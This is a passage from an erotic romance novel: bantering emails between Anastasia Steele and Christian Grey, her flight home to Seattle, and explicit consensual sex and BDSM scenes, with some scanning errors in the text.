is in hand. + +Your Ana x + +PS: Are you going to tell me what I said in my sleep? + + +From: Christian Grey +Subject: Pleading the Fifth +Date: June 2 2011 19:45 +To: Anastasia Steele + +Dear Miss Steele + +I like very much that you care for me. The ‘situation’ here is not yet resolved. +With regard to your PS: The answer is - No. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Pleading Insanity +Date: June 2 2011 22:48 EST +To: Christian Grey + +I hope it was amusing. But you should know I cannot accept any responsibility for what +comes out of my mouth when I am unconscious. In fact - you probably misheard me. + +A man of your advanced years is surely a little deaf. + + +From: Christian Grey +Subject: Pleading Guilty +Date: June 2 2011 19:52 +To: Anastasia Steele + +Dear Miss Steele + +Sorry, could you speak up? I can’t hear you. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Pleading Insanity Again +Date: June 2 2011 22:54 EST +To: Christian Grey + +You are driving me crazy. + + +From: Christian Grey +Subject: I hope so... + +Date: June 2 201 1 19:59 +To: Anastasia Steele + +Dear Miss Steele + +I intend to do exactly that on Friday evening. Looking forward to it + +;) + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Grrrrrr +Date: June 2 2011 23:02 EST +To: Christian Grey + +I am officially pissed at you. +Goodnight. + +Miss A. R. Steele + + +From: Christian Grey +Subject: Wild Cat +Date: June 2 201 1 20:05 +To: Anastasia Steele + + +Are you growling at me Miss Steele? + +I possess a cat of my own for growlers. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Cat of his own? I’ve never seen a cat in his apartment. No, I am not going to answer him. +Oh, he can be so exasperating sometimes. Fifty shades of exasperating. I clamber into bed +and lie glaring at the ceiling as my eyes adjust to the dark. I hear another ping from my +computer. I am not going to look. No definitely not. No, I am not going to look. Gah! + +Like the fool I am, I cannot resist the lure of Christian Grey’s words. + + +From: Christian Grey +Subject: What you said in your sleep +Date: June 2 2011 20:20 +To: Anastasia Steele + +Anastasia + +I’d rather hear you say the words that you uttered in your sleep when you’re conscious, +that’s why I won’t tell you. Go to sleep. You’ll need to be rested with what I have in mind +for you tomorrow. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Oh no... What have I said? It’s as bad as I think, I’m sure. + + +Chapter Twenty-Five + + +My mother hugs me tightly. + +“Follow your heart, darling, and please, please - try not to over-think things. Relax +and enjoy yourself. You are so young, sweetheart. You have so much of life to experience +yet, just let it happen. You deserve the best of everything.” Her heartfelt words are com- +forting whispered in my ear. She kisses my hair. + +“Oh, Mom.” Hot, unwelcome tears prick my eyes as I cling to her. + +“Darling, you know what they say. You have to kiss a lot of frogs before you find your +prince.” + +I give her a lopsided, bittersweet smile. + +“I think I’ve kissed a prince, Mom. I hope he doesn’t turn into a frog.” + +She gives me her most endearing-motherly-absolute-unconditional-love smile, and I +marvel at the love I feel for this woman as we hug again. + +“Ana - they’re calling your flight,” Bob’s voice is anxious. + +“Will you visit, Mom?” + +“Of course darling - soon. Love you.” + +“Me too.” + +Her eyes are red with unshed tears as she releases me. I hate leaving her. I hug Bob, +and turning, head to the gate - I do not have time for the first class lounge today. I will +myself not to glance back. But Ido... and Bob is holding my mom, and tears are streaming + + +down her face. I can no longer hold mine back. I put my head down and proceed to the +gate, keeping my eyes on the shiny, white floor, blurred through my watery tears. + +Once on board, in the luxury of first class, I curl up in my seat and try to compose my- +self. It is always painful to wrench myself away from Mom... she is scatty, disorganized, +but newly insightful, and she loves me. Unconditional love - what every child deserves +from its parents. I frown at my wayward thoughts, and pulling out my BlackBerry, stare +at it despondently. + +What does Christian know of love? Seems he didn’t get the unconditional love he was +entitled to during his very early years. My heart twists, and my mother’s words waft like a +zephyr through my mind: Yes, Ana. Hell - what do you need? - a neon sign flashing on his +forehead? She thinks Christian loves me, but then she’s my mother, of course she’d think +that. She thinks I deserve the best of everything. I frown. It’s true, and in a moment of +startling clarity, I see it. It’s very simple: I want his love. I need Christian Grey to love me. +This is why I am so reticent about our relationship - because on some basic, fundamental +level, I recognize within me a deep-seated compulsion to be loved and cherished. + +And because of his fifty shades - I am holding myself back. The BDSM is a distrac- +tion from the real issue. The sex is amazing, he’s wealthy, he’s beautiful, but this is all +meaningless without his love, and the real heart-fail is that I don’t know if he’s capable of +love. He doesn’t even love himself. I recall his self-loathing, her love being the only form +he found - acceptable. Punished - whipped, beaten, whatever their relationship entailed - +he feels undeserving of love. Why does he feel like that? How can he feel like that? His +words haunt me: ‘It’s very hard to grow up in a perfect family when you’re not perfect.’ + +I close my eyes, imagining his pain, and I can’t begin to comprehend it. I shudder as +I remember that I may have divulged too much. What have I confessed to Christian in my +sleep? What secrets have I revealed? + +I stare at the BlackBerry in the vague hope that it will give me some answers. Rather +unsurprisingly, it is not very forthcoming. As we haven’t taken off yet, I decide to email +my Fifty Shades. + + +From: Anastasia Steele +Subject: Homeward Bound +Date: June 3 2011 12:53 EST +To: Christian Grey + +Dear Mr. Grey + +I am once again ensconced in first class, for which I thank you. I am counting the min- +utes until I see you this evening, and perhaps torturing the truth out of you about my +nocturnal admissions. + +Your Ana x + + +From: Christian Grey +Subject: Homeward Bound +Date: June 3 201 1 09:58 +To: Anastasia Steele + + +Anastasia, I look forward to seeing you. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +His response makes me frown. It sounds clipped and formal, not his usual witty, pithy +style. + + +From: Anastasia Steele +Subject: Homeward Bound +Date: June 3 2011 13:01 EST +To: Christian Grey + +Dearest Mr. Grey + +I hope everything is okay re ‘the situation.’ The tone of your email is worrying. +Ana x + + +From: Christian Grey +Subject: Homeward Bound +Date: June 3 201 1 10:04 +To: Anastasia Steele + +Anastasia + +The situation could be better. Have you taken off yet? If so you should not be emailing. +You are putting yourself at risk, in direct contravention of the rule regarding your personal +safety. I meant what I said about punishments. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Crap. Okay. Jeez. What is eating him? Perhaps ‘the situation’? Maybe Taylor’s gone +AWOL, maybe he’s dropped a few million on the stock market - whatever the reason. + + +From: Anastasia Steele +Subject: Over-Reaction +Date: June 3 2011 13:06 EST +To: Christian Grey + +Dear Mr. Grumpy + +The aircraft doors are still open. We are delayed but only by ten minutes. My welfare +and that of the passengers around me is vouchsafed. You may stow your twitchy palm + + +for now. +Miss Steele + + +From: Christian Grey + +Subject: Apologies - Twitchy Palm Stowed +Date: June 3 201 1 10:08 +To: Anastasia Steele + +I miss you and your smart mouth Miss Steele. +I want you safely home. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Apology Accepted +Date: June 3 2011 13:10 EST +To: Christian Grey + +They are shutting the doors. You won’t hear another peep from me, especially given your +deafness. + +Laters. + +Ana x + + +I switch off the BlackBerry, unable to shake my anxiety. Something is up with Christian. +Perhaps ‘the situation’ is out of hand. I sit back, glancing up at the locker where my bags +are stowed. I managed this morning, with my mother’s help, to buy Christian a small gift +to say thank you for first class and for the gliding. I smile at the memory of the soaring - +that was something else. I don’t know yet if I’ll give my silly gift to him. He might think +it’s childish - and if he’s in a strange mood, maybe not. I am both eager to return and +apprehensive of what awaits me at my journey’s end. As I mentally flick through all the +scenarios that could be ‘the situation’, I become aware that once again the only empty seat +is beside me. I shake my head as the thought crosses my mind that Christian might have +purchased the adjacent seat so that I couldn’t talk to anyone. I dismiss the idea as ridicu- +lous - no one could be that controlling, that jealous, surely. I close my eyes as the plane +taxis towards the runway. + + +I emerge into the Sea-Tac arrivals terminal eight hours later to find Taylor waiting and +holding up a board that reads Miss A Steele. Honestly! But it’s good to see him. +“Hello, Taylor.” + + +“Miss Steele,” he greets me formally, but I see a hint of smile in his sharp brown eyes. +He looks his usual immaculate self - smart charcoal suit, white shirt, and charcoal tie. + +“I do know what you look like Taylor, you don’t need a board, and I do wish you’d call +me, Ana.” + +“Ana. Can I take your bags, please?” + +“No, I can manage. Thank you.” + +His lips tighten perceptibly. + +“But, if you’d be more comfortable taking them,” I stammer. + +“Thank you.” He grabs my backpack and my newly acquired wheelie case for the +clothes my mother has bought me. “This way, ma’am.” + +I sigh. He’s so polite. I remember, though I would like to erase it from my memory, +that this man has bought me underwear. In fact - and the thought unsettles me - he’s the +only man who’s ever bought me underwear. Even Ray’s never had to endure that hardship. +We walk in silence to the black Audi SUV outside in the airport parking lot, and he holds +the door open for me. I clamber in, wondering if wearing such a short skirt for the return to +Seattle was a good idea. It was cool and welcome in Georgia. Here I feel exposed. Once +Taylor has stowed my bags in the trunk, we set off for Escala. + +The journey is slow, caught up in rush hour traffic. Taylor keeps his eyes on the road +ahead. Taciturn does not begin to describe him. + +I can bear the silence no longer. + +“How’s Christian, Taylor?” + +“Mr. Grey is preoccupied, Miss Steele.” + +Oh, this must be ‘the situation.’ I am mining a seam of gold. + +“Preoccupied?” + +“Yes, ma’am.” + +I frown at Taylor, and he glances at me in the rear-view mirror, our eyes meet. He’s +saying no more. Jeez, he can be as tightlipped as the control freak himself. + +“Is he okay?” + +“I believe so, ma’am.” + +“Are you more comfortable calling me, Miss Steele?” + +“Yes, ma’am.” + +“Oh, okay.” + +Well, that curtails our conversation, and we continue in silence. I begin to think that +Taylor’s recent slip, when he told me that Christian had been hell on wheels, was an anom- +aly. Perhaps he’s embarrassed about it, worried that he’s been disloyal. The silence is suf- +focating. + +“Could you put some music on please?” + +“Certainly, ma’am. What would you like to hear?” + +“Something soothing.” + +I see a smile play on Taylor’s lips as our eyes meet briefly again in the mirror. + +“Yes, ma’am.” + +He pushes a few buttons on the steering wheel, and the gentle strains of Pachelbel’s +canon fills the space between us. Oh yes... this is what I need. + +“Thank you.” I sit back as we drive slowly but steadily along the 1-5 into Seattle. + + +Twenty-five minutes, later he drops me outside the impressive fagade that is the entrance +to Escala. + +“In you go, ma’am,” he says, holding the door open for me. “I’ll bring up your luggage +is.”H expression is soft, warm, avuncular even. + +Jeez. . . Uncle Taylor, what a thought. + +“Thank you for meeting me.” + +“It’s a pleasure, Miss Steele.” He smiles, and I head into the building. The doorman +nods and waves. + +As I ride up to the thirtieth floor, a thousand butterflies stretch their wings and flutter +erratically in my stomach. Why am I so nervous? And I know it’s because I have no idea +what kind of mood Christian’s going to be in when I arrive. My inner goddess is hopeful +for one type of mood, my subconscious, like me, is fraught with nerves. + +The elevator doors open, and I’m in the foyer. It is so strange not to be met by Taylor. + +Of course, he’s parking the car. In the great room, Christian is on his BlackBerry talking +quietly as he stares out of the glass doors at the early evening Seattle skyline. He’s wearing +a gray suit with the jacket undone, and he’s running his hand through his hair, he’s. H agi- +tated, tense even. Oh no - what’s wrong? Agitated or not, he’s still beyond beautiful. How +can he look so... arresting? It’s such a pleasure to stand and drink in the sheer sight of him. + +“No trace... Okay... Yes.” He turns and sees me, and his whole demeanor changes. +From tension to relief to something else: a look that calls directly to my inner goddess, a +look of sensual carnality, gray eyes blazing. + +My mouth goes dry and desire blooms in my body... whoa. + +“Keep me informed,” he snaps and shuts off his phone as he strides purposefully to- +ward me. I stand paralyzed as he closes the distance between us, devouring me with his +eyes. Holy shit. . . something’s amiss - the strain in his jaw, the anxiety around his eyes. + +He shrugs out of his jacket, undoes his dark tie, and slings them both on to the couch en +route to me. Then his arms are wrapped around me, and he’s pulling me to him, hard, fast, +gripping my ponytail to tilt my head up, kissing me like his life depends on it. What the +hell? He drags the hair tie painfully out of my hair, but I don’t care. There’s a desperate, +primal quality to his kiss. He needs me, for whatever reason, at this point in time, and I +have never felt so desired and coveted. It’s dark and sensual and alarming all at the same +time. I kiss him back with equal fervor, my fingers twisting and fisting in his hair. Our +tongues entwined, our passion and ardor erupting between us. He tastes divine, hot, sexy, +and his scent - all body wash and Christian is so arousing. He drags his mouth away from +mine, and he’s staring down at me, gripped by some unnamed emotion. + +“What’s wrong?” I breathe. + +“I’m so glad you’re back. Shower with me - now.” + +I can’t decide if it’s a request or a command. + +“Yes,” I whisper, and he grabs my hand, leading me out of the big room into his bed- +room to his bathroom. + +Once there, he releases me and sets the water running in the far too spacious shower. +Turning slowly, he gazes at me, eyes hooded. + + +“I like your skirt. It’s very short,” he says, his voice low. “You have great legs.” + +He steps out of his shoes and reaches down to take each of his socks off, never taking +his eyes off me. I am rendered speechless by the look of hunger in his eyes. Wow. . . to be +this wanted by this Greek god. I mirror his actions and step out of my black flats. Sud- +denly, he reaches for me, backing me up against the wall. Kissing me, my face, my throat, +my lips... running his hands into my hair. I feel the cool, smooth tiled wall at my back +as he pushes himself against me so that I’m flattened between his heat and the chill of the +ceramic. Tentatively, I place my arms on his upper arms, and he groans as I squeeze tightly. + +“I want you now. Here... fast, hard,” he breathes, and his hands are on my thighs, +pushing up my skirt. “Are you still bleeding?” + +“No.” I flush. + +“Good.” + +His thumbs hook over my white cotton panties, and abruptly he drops to his knees as +he tugs them off. My skirt is now rucked up so that I’m naked from the waist down and +panting, wanting. He grabs my hips, pushing me against the wall again, and kisses me at +the apex of my thighs. Grabbing my upper thighs, he forces my legs apart. I groan loudly, +feeling his tongue circling my clitoris. Oh my. Tipping my head back involuntarily, I moan +as my fingers find their way into this hair. + +His tongue is relentless, strong and insistent, laving me - swirling round and round, +again and again - non-stop. It’s exquisite, the intensity of feeling - it’s almost painful. My +body starts to quicken, and he releases me. What? No! My breathing is ragged as I pant, +gazing at him with delicious anticipation. He grabs my face with both hands, holding me +firmly, and he kisses me hard, thrusting his tongue into my mouth so I can taste my arousal. +Unzipping his fly, he frees himself, grabs the backs of my thighs, and lifts me. + +“Wrap your legs around me, baby,” he commands, his voice urgent, strained. + +I do as I’m told and wrap my arms around his neck, and he moves quickly and sharply, +filling me. Ah! He gasps, and I groan. Holding my behind, his fingers digging into my soft +flesh, he begins to move, slowly at first - a steady even tempo... but as his control unravels, +he speeds up... faster, and faster. Ahhh! I tip my head back and concentrate on the invad- +ing, punishing, heavenly sensation... pushing me, pushing me... onward, higher, up... and +when I can take no more, I explode around him, spiraling into an intense, all-consuming +orgasm. He lets go with a deep growl, and he buries his head in my neck as he buries him- +self inside me, groaning loudly and incoherently as he finds his release. + +His breathing is erratic, but he kisses me tenderly, not moving, still inside me, and I +blink, unseeing into his eyes. As he comes into focus, he gently pulls out of me, holding +me steady while I place my feet on the floor. The bathroom is now cloudy with steam... +and hot. I feel overdressed. + +“You seem pleased to see me,” I murmur with a shy smile. + +His lips quirk up. + +“Yes, Miss Steele, I think my pleasure is pretty self-evident. Come - let me get you +in the shower.” + +He undoes the next three buttons of his shirt, removes the cufflinks, tugs it over his +head, and discards it on the floor. Removing his suit pants and boxer briefs, he kicks them + + +to one side. He begins to undo the buttons on my blouse while I watch him, yearning to +reach out and stroke his chest, but I contain myself. + +“How was your journey?” he asks mildly. He seems so much calmer now, his appre- +hension gone, dissolved by sexual congress. + +“Fine, thank you,” I murmur, still breathless. “Thanks once again for first class. It +really is a much nicer way to travel.” I smile shyly at him. “I have some news,” I add +nervously. + +“Oh?” he looks down at me as he undoes the last button, slips my blouse down my +arms, and throws it on top of his discarded clothes. + +“I have a job.” + +He stills, then smiles at me, his eyes warm and soft. + +“Congratulations, Miss Steele. Now will you tell me where?” he teases. + +“You don’t know?” + +He shakes his head, frowning slightly. + +“Why would I know?” + +“With your stalking capabilities, I thought you might have... ” I trail off as his face + +falls. + +“Anastasia, I wouldn’t dream of interfering in your career, unless you ask me to, of +course.” He looks wounded. + +“So you have no idea which company?” + +“No. I know there are four publishing companies in Seattle - so I am assuming it’s one +of them.” + +“SIP” + +“Oh, the small one, good. Well done.” He leans forward and kisses my forehead. +“Clever girl. When do you start?” + +“Monday.” + +“That soon, eh? I’d better take advantage of you while I still can. Turn round.” + +I am thrown by his casual command, but do as I’m bid, and he undoes my bra and +unzips my skirt. He pushes my skirt down, cupping my behind as he does, and kissing my +shoulder. He leans against, me and his nose nuzzles my hair, inhaling deeply. He squeezes +my buttocks. + +“You intoxicate me, Miss Steele, and you calm me. Such a heady combination.” He +kisses my hair. Grabbing my hand, he tugs me into the shower. + +“Ow,” I squeal. The water is practically scalding. Christian grins down at me as the +water cascades over him. + +“It’s only a little hot water.” + +And actually he’s right. It feels heavenly, washing off the sticky Georgia morning and +the stickiness from our lovemaking. + +“Turn round,” he orders, and I comply, turning to face the wall. “I want to wash you,” +he murmurs and reaches for the body wash. He squirts a little into his hand. + +“I have something else to tell you,” I murmur as his hands start on my shoulders. + +“Oh, yes?” he asks mildly. + +I steel myself with a deep breath. + +“My friend Jose’s photography show is opening Thursday in Portland.” + + +He stills, his hands hovering over my breasts. I have emphasized the word ‘friend.’ +“Yes, what about it?” he asks sternly. + +“I said I would go. Do you want to come with me?” + +After what feels like a monumental amount of time, he slowly starts washing me again. +“What time?” + +“The opening is at 7:30 p.m.” + +He kisses my ear. + +“Okay.” + +Inside my subconscious relaxes and then collapses, slumped into an old battered arm- +chair. + +“Were you nervous about asking me?” + +“Yes. How can you tell?” + +“Anastasia, your whole body’s just relaxed,” he says dryly. + +“Well, you just seem to be urn... on the jealous side.” + +“Yes, I am,” he says darkly. “And you’d do well to remember that. But thank you for +asking. We’ll take Charlie Tango.” + +Oh, the helicopter of course, silly me. More flying... cool! I grin. + +“Can I wash you?” I ask. + +“I don’t think so,” he murmurs, and he kisses me gently on my neck to take the sting +out of his refusal. I pout at the wall as he caresses my back with soap. + +“Will you ever let me touch you?” I ask boldly. + +He stills again, his hand on my behind. + +“Put your hands on the wall Anastasia. I’m going to take you again,” he murmurs in +my ear as he grabs my hips, and I know that the discussion is over. + + +Later we are seated at the breakfast bar, dressed in bathrobes, having consumed Mrs. +Jones’s rather excellent pasta alle vongole. + +“More wine?” Christian asks, gray eyes glowing. + +“A small glass, please.” The Sancerre is crisp and delicious. Christian pours one for me +and one for himself. + +“How’s the urn... situation that bought you to Seattle?” I ask tentatively. + +He frowns. + +“Out of hand,” he murmurs bitterly. “But nothing for you to worry about, Anastasia. I +have plans for you this evening.” + +“Oh?” + +“Yes. I want you ready and waiting in my playroom in fifteen minutes.” He stands +and gazes down at me. + +“You can get ready in your room. Incidentally, the walk-in closet is now full of clothes +for you. I don’t want any arguments about them.” He narrows his eyes, daring me to say +something. When I don’t, he stalks off to his study. + +Me! Argue? With you, Fifty Shades? It’s more than my backside’s worth. I sit on +the bar stool, momentarily stupefied, trying to assimilate this morsel of information. He’s + + +bought me clothes. I roll my eyes in an exaggerated fashion knowing full well he can’t see +me. Car, phone, computer... clothes, it’ll be a damn condo next, and then I really will be +his mistress. + +Ho! My subconscious has her snarky face on. I ignore her and make my way upstairs +toward my room so, it is still mine... why? I thought he’d agreed to let me sleep with him. + +I suppose he’s not used to sharing his personal space, but then, neither am I. I console my- +self with the thought that at least I have somewhere to escape from him. + +Examining the door, I find that it has a lock but no key. I wonder briefly if Mrs. Jones +has a spare. I’ll ask her. I open the closet door and close it again quickly. Holy Crap - he’s +spent a fortune. It resembles Kate’s - so many clothes hanging neatly on the rail. Deep +down, I know that they’ll all fit. But I have no time to think about that - I have to get kneel- +ing in the Red Room of... Pain... or Pleasure - hopefully this evening. + + +Kneeling by the door, I am naked except for my panties. My heart is in my mouth. Jeez, + +I thought after the bathroom he would have had enough. The man is insatiable, or maybe +all men are like him. I have no idea, no one to compare him too. Closing my eyes, I try to +calm myself down, to connect with my inner sub. She’s there somewhere, hiding behind +my inner goddess. + +Anticipation runs bubbling like soda through my veins. What will he do? I take a deep +steadying breath, but I cannot deny it, I’m excited, aroused, wet already. This is so... I +want to think wrong, but somehow it’s not. It’s right for Christian. It’s what he wants - and +after the last few days... after all he’s done, I have to man up and take whatever he decides +he wants, whatever he thinks he needs. + +The memory of his look when I came in this evening, the longing in his face, his deter- +mined stride toward me like I was an oasis in the desert. I’d do almost anything to see that +look again. I press my thighs together at the delicious memory, and it reminds me that I +need to spread my knees. I shuffle them apart. How long will he make me wait? The wait +is crippling me, crippling me with a dark and tantalizing desire. I glance quickly around +the subtly lit room; the cross, the table, the couch, the bench... that bed. It looms so large, +and it’s made up with red satin sheets. Which piece of apparatus will he use? + +The door opens and Christian breezes in, ignoring me completely. I glance down +quickly, staring at my hands, positioned with care on my spread thighs. Placing something +on the large chest beside the door, he strolls casually toward the bed. I indulge myself in a +quick glimpse at him, and my heart almost lurches to a stop. He’s naked except for those +soft ripped jeans, top button casually undone. Jeez, he looks so freaking hot. My sub- +conscious is frantically fanning herself, and my inner goddess is swaying and writhing to +some primal carnal rhythm. She’s so ready. I lick my lips instinctively. My blood pounds +through my body, thick and heavy with salacious hunger. What is he going to do to me? + +Turning, he nonchalantly walks back to the chest of drawers. Opening one, he begins +to remove items and place them on the top. My curiosity burns, blazes even, but I resist +the overwhelming temptation to sneak a quick peek. When he finishes what he’s doing, + + +he comes to stand in front of me. I can see his naked feet, and I want to kiss every inch of +them... run my tongue over his instep, suck each of his toes. Holy shit. + +“You look lovely,” he breathes. + +I keep my head down, conscious that he’s staring at me while I am practically naked. I +feel the flush as it slowly spreads over my face. He bends down and cups my chin, forcing +my face up to meet his gaze. + +“You are one beautiful woman, Anastasia. And you’re all mine,” he murmurs. “Stand +up.” His command is soft full of sensual promise. + +Shakily, I get to my feet. + +“Look at me,” he breathes, and I stare up into his smoldering gray gaze. It is his Dorn +gaze - cold, hard, and sexy as hell, seven shades of sin in one enticing look. My mouth +dries, and I know I will do anything he asks. An almost cruel smile plays across his lips. + +“We don’t have a signed contract, Anastasia. But we’ve discussed limits. And I want +to re-iterate we have safe words, okay?” + +Holy fuck... what has he got planned that I need safe words? + +“What are they?” he asks authoritatively. + +I frown slightly at his question, and his face hardens perceptibly. + +“What are the safe words, Anastasia?” he says slowly and deliberately. + +“Yellow,” I mumble. + +“And?” he prompts, his mouth setting in a hard line. + +“Red,” I breathe. + +“Remember those.” + +And I can’t help it... I raise my eyebrow at him and am about to remind him of my +GPA, but the sudden frosty glint in his icy gray eyes stops me in my tracks. + +“Don’t start with your smart mouth in here, Miss Steele. Or I will fuck it with you on +your knees. Do you understand?” + +I swallow instinctively. Okay. I blink rapidly, chastened. Actually, it’s his tone of +voice, rather than the threat, that intimidates me. + +“Well?” + +“Yes, Sir,” I mumble hastily. + +“Good girl,” he pauses as he stares at me. “My intention is not that you should safe- +word because you’re in pain. What I intend to do to you will be intense. Very intense, and +you have to guide me. Do you understand?” + +Not really. Intense? Wow. + +“This is about touch, Anastasia. You will not be able to see me or hear me. But you’ll +be able to feel me.” + +I frown - not hear him? How is that going to work? He turns, and I hadn’t noticed +that above the chest is a sleek, flat, matt-black box. As he waves his hand in front, the box +splits in half: two doors slide open revealing a CD player and a host of buttons. Christian +presses several of these buttons in sequence. Nothing happens, but he seems satisfied. I +am mystified. When he turns to face me again, he wears his small l-have-a-secret smile. + +“I am going to tie you to that bed, Anastasia. But I’m going to blindfold you first and,” +he reveals his iPod in his hand, “you will not be able to hear me. All you will hear is the +music I am going to play for you.” + + +Okay. A musical interlude, not what I was expecting. Does he ever do what I expect? +Jeez, I hope it’s not rap. + +“Come.” Taking my hand, he leads me over to the antique four-poster bed. There are +shackles attached at each corner, fine metal chains with leather cuffs, glinting against the +red satin. + +Oh boy, I think my heart is going to leave my chest, and I’m melting from the inside +out, desire coursing through me. Could I be any more excited? + +“Stand here.” + +I am facing the bed. He leans down and whispers in my ear. + +“Wait here, keep your eyes on the bed. Picture yourself lying here bound and totally +at my mercy.” + +Oh my. + +He moves away for a moment, and I can hear him near the door fetching something. +All my senses are hyper alert, my hearing more acute. He’s picked up something from the +rack of whips and paddles by the door. Holy cow. What is he going to do? + +I feel him behind me. He takes my hair, pulls it into a ponytail behind me, and starts +to braid it. + +“While I like your pigtails, Anastasia, I am too impatient to be at you right now. So one +will have to do.” His voice is low, soft. + +His deft fingers skim my back occasionally as they work down my hair, and each ca- +sual touch is like a sweet, electric shock against my skin. He fastens the end with a hair tie, +then gently tugs the braid so that I’m forced to step back flush against him. He pulls again +to the side so that I angle my head, giving him easier access to my neck. Leaning down, +he nuzzles my neck. Tracing his teeth and tongue from the base of my ear to my shoulder. +He hums softly as he does, and the sound resonates through me. Right down... right down +there, inside me. Unbidden, I groan quietly. + +“Hush now,” he breathes against my skin. He holds up his hands in front of me, his +arms touching mine. In his right hand is a flogger. I remember the name from my first +introduction to this room. + +“Touch it,” he whispers, and he sounds like the devil himself. My body flames in +response. Tentatively, I reach out and brush the long strands. It has many long fronds, all +soft suede with small beads at the end. + +“I will use this. It will not hurt, but it will bring your blood to the surface of your skin +and make you very sensitive.” + +Oh, he says it won’t hurt. + +“What are the safe words, Anastasia?” + +“Urn... yellow and red, Sir,” I whisper. + +“Good girl. Remember, most of your fear is in your mind.” + +He drops the flogger on the bed, and his hands move to my waist. + +“You won’t be needing these,” he murmurs and hooks his fingers into my panties and +sweeps them down my legs. I step unsteadily out of them, supporting myself on the ornate +post of the bed. + + +“Stand still,” he orders, and he kisses my behind and then gently nips me twice, making +me tense. “Now lie down. Face up,” he adds as he smacks me hard on the behind, making +me jump. + +Hastily, I crawl onto the bed’s hard, unyielding mattress and lie down, looking up at +him. The satin of the sheet beneath me is soft and cool against my skin. His gaze is impas- +sive, except for his eyes which glow with a barely leashed excitement. + +“Hands above your head,” he orders, and I do as I’m bid. + +Jeez, my body hungers for him. I want him already. + +He turns, and out of the corner of my eye, I watch him saunter back over to the chest of +drawers, returning with the iPod and what looks like an eye mask, similar to the one I used +on my flight to Atlanta. The thought makes me want to smile, but I can’t quite make my +lips cooperate. I am too consumed with anticipation. I just know my face is completely +immobile, my eyes huge, as I gaze at him. + +Sitting down on the edge of the bed, he shows me the iPod. It has a strange antenna +device as well headphones. How odd. I frown as I try to figure this out. + +“This transmits what’s playing on the iPod to the system in the room.”, Christian an- +swers my unspoken query as he taps the small antenna. “I can hear what you’re hearing, +and I have a remote control unit for it.” He smirks his private-joke smile and holds up a +small, flat device that looks like a very hip calculator. He leans across me, inserting the ear +buds gently into my ears, and puts the iPod down somewhere on the bed above my head. + +“Lift your head,” he commands, and I do so immediately. + +Slowly, he slides the mask on, pulling the elastic over the back of my head, and I’m +blind. The elastic on the mask holds the ear buds in place. I can still hear him, though the +sound is muffled as he rises from the bed. I’m deafened by my own breathing - it’s shal- +low and erratic, reflecting my excitement. Christian takes my left arm, stretches it gently to +the left-hand corner, and attaches the leather cuff around my wrist. His long fingers stroke +the length of my arm once he’s finished. Oh! His touch elicits a delicious, tickly shiver. I +hear him move slowly round to the other side, takes my right arm and cuffs it. Again, his +long fingers linger along my arm. Oh my... I am fit to burst already. Why is this so erotic? + +He moves to the bottom of the bed and grabs both of my ankles. + +“Lift your head again,” he orders. + +I comply, and he drags me down the bed so that my arms are stretched out and almost +straining at the cuffs. Holy cow, I cannot move my arms. A frisson of trepidation mixed +with tantalizing exhilaration sweeps through my body, making me wetter. I groan. Parting +my legs, he cuffs first my right ankle and then my left so I am staked out, spread-eagled, +and totally vulnerable to him. It’s so unnerving that I can’t see him. I listen hard... what’s +he doing? And I hear nothing, just my breathing and the pounding thud of my heart as +blood pulses furiously against my eardrums. + +Abruptly, the soft silent hiss and pop of the iPod springs into life. From inside my +head, a lone angelic voice sings unaccompanied a long sweet note, and it’s joined almost +immediately by another voice, and then more voices - Holy cow, a celestial choir - singing +acapella in my head, an ancient, ancient hymnal. What in heaven’s name is this? I have +never heard anything like it. Something almost unbearably soft brushes against my neck, +running languidly down my throat, slowly across my chest, over my breasts, caressing + + +me... pulling at my nipples, it’s so soft, skimming underneath. It’s so unexpected. It’s fur! + +A fur glove? + +Christian trails his hand, unhurried and deliberate, down to my belly, circling my navel, +then carefully from hip to hip, and I’m trying to anticipate where he’s going next... but the +music... it’s in my head... transporting me... the fur across the line of my pubic hair... +between my legs, along my thighs, down one leg... up the other... it almost tickles... but +not quite... more voices join... the heavenly choir all singing different parts, their voices +blending blissfully and sweetly together in a melodic harmony that is beyond anything I’ve +ever heard. I catch one word -- ‘deus’- and I realize they are singing in Latin. And still, +the fur is moving down my arms and round my waist... back up across my breasts. My +nipples harden beneath the soft touch... and I’m panting... wondering where his hand will +go next. Suddenly, the fur is gone, and I can feel the fronds of the flogger flowing over +my skin, following the same path as the fur, and it’s so hard to concentrate with the music +in my head - it sounds like a hundred voices singing, weaving an ethereal tapestry of fine, +silken gold and silver through my head, mixed with the feel of the soft suede against my +skin... trailing over me... oh my... abruptly, it disappears. Then suddenly, sharply, it bites +down on my belly. + +“Aagghh!” I cry out. It takes me by surprise, and it doesn’t exactly hurt, but tingles all +over, and he hits me again. Harder. + +“Aaah!” + +I want to move, to writhe. . . to escape, or to welcome, each blow. . . I don’t know - it’s +so overwhelming... I can’t pull my arms... my legs are stuck... I am held very firmly in +place... and again he strikes across my breasts - I cry out. And it’s a sweet agony - bear- +able, just... pleasant - no, not immediately, but as my skin sings with each blow in perfect +counterpoint to the music in my head, I am dragged into a dark, dark part of my psyche that +surrenders to this most erotic sensation. Yes - I get this. He hits me across my hip. Then,t +moves in swift blows over my pubic hair, on my thighs, and down my inner thighs... and +back up my body... across my hips. He keeps going as the music reaches a climax, and +then suddenly -the music stops. And so does he. Then the singing starts again... build- +ing and building, and he rains down blows on me... and I groan and writhe. Once again, +it ceases and all is quiet... except my wild breathing... and wild yearning. For... oh... +what’s happening? What’s he going to do now? The excitement is almost unbearable. I’ve +entered a very dark, carnal place. + +The bed moves and shifts as I feel him clamber over me, and the song starts again. He’s +got it on repeat... this time it’s his nose and lips that take the place of the fur... running +down my neck and throat, kissing, sucking... trailing down to my breasts... Ah! Taunting +each of my nipples in turn... his tongue swirling round one while his fingers relentlessly +tease the other... I groan, loudly I think, though I can’t hear. I am lost. Lost in him... lost +in the astral, seraphic voices... lost to all the sensations I cannot escape... I am completely +at the mercy of his expert touch. + +He moves down to my belly - his tongue circling my navel - following the path of the +flogger and the fur... I moan. He’s kissing and 